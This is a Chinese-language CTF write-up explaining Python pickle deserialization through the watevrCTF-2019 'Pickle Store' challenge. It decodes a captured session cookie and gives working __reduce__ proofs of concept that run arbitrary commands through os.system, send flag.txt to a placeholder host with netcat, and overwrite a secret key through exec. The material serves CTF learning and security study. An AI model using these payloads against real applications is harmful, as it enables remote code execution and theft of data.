从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞

从watevrCTF-2019:Pickle Store中学习python之pickle序列化漏洞

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

其本质是Pickling将Python对象层次结构转换为字节流的过程， unpickling是反向操作，从而将字节流（来自二进制文件或类似字节的对象）转换回对象层次结构。pickle模块对于错误或恶意构造的数据是不安全的。

pickle模块只能在python中使用，python中几乎所有的数据类型（列表，字典，集合，类等）都可以用pickle来序列化，

pickle序列化对象

pickle.dump（obj，file，protocol = None，*，fix_imports = True ）

在此处将obj对象的编码pickle编码表示写入到文件对象中

pickle反序列化对象

pickle.load(file)

关于cPickle

cPickle可以对任意一种类型的python对象进行序列化操作，比如list，dict，甚至是一个类的对象等。

关于pickle与cpickle的关系：cPickle – A faster pickle。

序列化：

>>> data_string = cPickle.dumps(data) //将python对象序列化保存到一个字符串变量中

反序列化：

>>> data = cPickle.loads(data_string)

一段理解样本：

#coding:utf-8
import pickle

dict1 = dict(name='admin',
             age=1000,
             sex='？',
             addr='japan',
           )
# print(dict1)
data_dumps = pickle.dumps(dict1)
print(
    data_dumps)  

print(type(data_dumps))  # <class 'bytes'>
data = pickle.loads(data_dumps)  # 从字节对象中读取被封装的对象，并返回
print(data)

output：

b'\x80\x04\x95?\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x0c\xe5\x85\xab\xe5\xb2\x90\xe5\xa4\xa7\xe8\x9b\x87\x94\x8c\x03age\x94M\xe8\x03\x8c\x03sex\x94\x8c\x03\xef\xbc\x9f\x94\x8c\x04addr\x94\x8c\x05japan\x94u.'
<class 'bytes'>
{'name': 'admin', 'age': 1000, 'sex': '？', 'addr': 'japan'}

关于被序列化的数据的看法：

可以看一下此链接：

https://www.secshi.com/39791.html

[watevrCTF-2019]Pickle Store

这道题里就是python的反序列化了：

截取到session进行解密：

import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)

output：

{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}

利用pickle及逆行序列化 poc：

import pickle as cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

poc2：

import pickle
import base64
import os
class A(object):
    def __reduce__(self):
           return (os.system,('nc ip xxxx  < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

覆盖密钥

import pickle

key = b'11111111111111111111111111111111'
class A(object):
    def __reduce__(self):
        return (exec,("global key;key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)